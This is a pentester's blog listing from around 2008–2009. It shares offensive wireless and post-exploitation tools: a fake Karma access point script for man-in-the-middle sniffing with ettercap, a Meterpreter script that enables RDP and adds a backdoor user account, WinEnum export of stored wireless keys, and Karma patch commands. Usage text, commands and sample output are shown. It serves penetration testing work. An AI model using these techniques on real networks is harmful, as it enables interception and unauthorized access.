Navigation

Entries by Carlos Perez (157)

Friday
Jan022009

Script for generating Fake AP with Kama Functionality for MITM Attacks

the Script will launch depending on the options a valid routed AP in karma mode, it will capture all packets and will launch ettercap. You can choose if you use Airbase-ng or the Madwifi drivers with Digininja's Karma Patch and HD's additions, this is the default madwifi drivers in Backtrack3. Aircrack-ng must be upgraded to the latest development version for the script to work with the Airbase-ng functionality. I hope you guys like it.

http://www.darkoperator.com/mitmap.tar.gz


bt ~ # ./mitmap.sh
Scritp for launching Fake AP to perform Man in The Middle Attack
By Carlos_Perez[at]darkoperator.com
Ver 0.1.1
Usage:
./mitmap.sh -m mode -i wireless interface -o internet interface

Modes:

ap :Access Point using Airbase-ng
apf :Access Point using Airbase-ng and MAC Filtering
apa :Access Point using Digininja patched Madwifi kernel modules
apaf :Access Point using Digininja patched Madwifi Kernel modules and MAC filtering

Options:

-s ssid :SSID to use for the Fake AP
-f text file :text file containing MAC addresses to use as filter one per line
-d dhcpd conf :Dhcpd configuration file
-h : This help message

bt ~ # ./mitmap.sh -m ap -s Danger -d ./dhcpd.conf -i ath0 -o eth0
Changing MAC Address
Current MAC: 00:40:96:af:47:65 [wireless] (Cisco AIR-PC4800, 350, AIR-PCM340, AIR-PCM352)
Faked MAC: 00:01:1e:b7:a7:1f (Precidia Technologies, Inc.)
starting fake ap
This will take 15 seconds ..............
Changing MTU Size for At0 to 1400
DHCPD started succesfully
Starting Packet capture to /root/apmitm-Jan-02-09-010919.cap

ettercap NG-0.7.3 copyright 2001-2004 ALoR & NaGA

Listening on at0... (Ethernet)

at0 -> 00:01:1E:B7:A7:1F 10.0.0.1 255.255.255.0

Privileges dropped to UID 0 GID 0...

28 plugins
39 protocol dissectors
53 ports monitored
7587 mac vendor fingerprint
1698 tcp OS fingerprint
2183 known services

Starting Unified sniffing...

Text only Interface activated...
Hit 'h' for inline help

Friday
Jan022009

Winenum Update

Josh Wright from Inguardians published a great paper called Vista Wireless Power Tools on the new features of Windows Vista wireless commands plus published several tools. I added the enumerations commands to Winenum plus it will now export the registry keys where the wireless configured networks of Windows XP and Windows Vista machines is stored, this files can be imported into the pentesters windows bos to gain access to the clients network or to get the wireless keys using other tools after importing.

Friday
Jan022009

Meterpreter Script for RDP Configuration on Target

For those time when you just need GUI
I tested the script in Windows XP, Windows 2003, Windows Vista and Windows 2008 let me know if you like it.
http://www.darkoperator.com/getgui.tar.gz
Example:

meterpreter > run getgui -u SUPPORT_3028 -p P@ssword
[*] Windows Remote Desktop Configuration Meterpreter Script by Darkoperator
[*] Carlos Perez carlos_perez@darkoperator.com
[*] Enabling Remote Desktop
[*] RDP is already enabled
[*] Setting Terminal Services service startup mode
[*] Terminasl Services service is already set to auto
[*] Opening port in local firewall if necessary
[*] Setting user account for logon
[*] Adding User: SUPPORT_3028 with Password: P@ssword
[*] Adding User: SUPPORT_3028 to local group Remote Desktop Users
[*] You can now login with the created user

meterpreter >

Sunday
Dec282008

DiGiNinga Karma Patch for Atheros Cards ROCKS!!!!

I have been playing with the karma patch that DiGiNinja coded for the Madwifi-ng kernel modules for Atheros wireless cards. This allows us to set our Atheros wireless card to respond to any request broadcast from wireless client as if we are the AP they are looking for, in addition we will broadcast the SSID as if we are the AP to see if any other client in the area is looking for the network. This patched kernel modules are in BT3 and in iPwn OS that HD Moore uses for his mobile laptops, and I have to say this patch is a must for any serius pentester. I decided to make an lzm for Backtrack 3 after being foolish enough to over write the modules with a clean install of madwifi.
The features that it adds are as follows:

  • Karma functionality
  • SSID Blacklist and Whitelist
  • MacAddress Blacklist and Whitelist
As a pentester this gives you the flexibility to target your attacks and be able to follow strict Rules of Engagement allowing you to only attack machines wich you are allowed to attack, the SSID's and MAC's can be added dynamically so you do not have to stop your attack. The commands that I found are as follows:
Enabling and Disabling Karma:
  • iwpriv atho karma 1 (Enable Karma)
  • iwpriv ath0 karma 0 (Disable Karma)
  • iwpriv ath0 get_karma (Get status of Karma)
MAC Address Whitelisting and Blacklisting:
  • iwpriv ath0 maccmd 1 (Sets the card in whitelist mode)
  • iwpriv ath0 maccmd 2 (Sets the card in Blacklist mode)
  • iwpriv ath0 maccmd 0 (Disable all MAC filtering modes)
  • iwpriv ath0 addmac (Adds mac address to the list)
  • iwpriv ath0 kickmac (Removes MAC Address form the list)
  • iwpriv ath0 maccmd 3 (Clears the entire MAC Address list)
SSID Whitelisting and Blacklisting:
  • iwpriv ath0 karma_bw 0 (Sets the card in Blacklist mode)
  • iwpriv ath0 karma_bw 1 (Sets the card in Whitelist mode)
  • iwpriv ath0 get_karma_bw (Get status of Blacklisting and Whitelisting Mode)
  • iwpriv ath0 addkarmassid (Adds SSID to the list)
  • iwpriv ath0 clrkarmalist 0 (Clears SSID List)

Sunday
Dec282008

Updated Karmetasploit Attack Script


Here is the version of the script that will use the DigiNinja Karma patch for atheros, I find it a more flexible and reliable alternative to airbase-ng, but it will be limited to atheros cards for all other aircrack supported cards the modes that use airbase-ng can be used, plus fixed the path issue with Metasploit. Hope you guys like it. Here is the link to the script with the changes:
http://www.darkoperator.com/kmsapng.tar.gz
if you changed the kernel modules of your BT3 install you can get the patched modules of madwifi with digininja's karma patch and the patch from aircrack-ng here:
http://www.darkoperator.com/madwifi-r37 … g-patc.lzm
I do have to say that digininjas karma patch is a must for anyone using an atheros card and is doing wireless client side attacks.
Karmetasploit AP launcher by Carlos Perez for Backtrack3
Version 0.3
carlos_perez[at]darkoperator.com
usage: kmsap.sh

Options:
-m : Every mode is a different approach of the attack.
km for regular karmetasploit attack using airbase-ng
kmf for filtered attack where only targeted
clients can associate to the fake AP using the
filter file.
kma for karmetasploit attack using DigiNinja patched
madwifi drivers.
kmaf for karmetasploit attack using DigiNinja patched
madwifi drivers and mac address filtering.
-i : Interface supported by aircrack-ng for injection
-f : Text file with mac addresses of client computers
permited to connect to the fake AP used with kmf and
kmaf modes, on mac address per line.
-s : SSID name used as the initial broadcast
-r : Metasploit Resource Script (Optional)
-h : This help message

Note: mode and interface are required for all types of attacks and -f for filtered attacks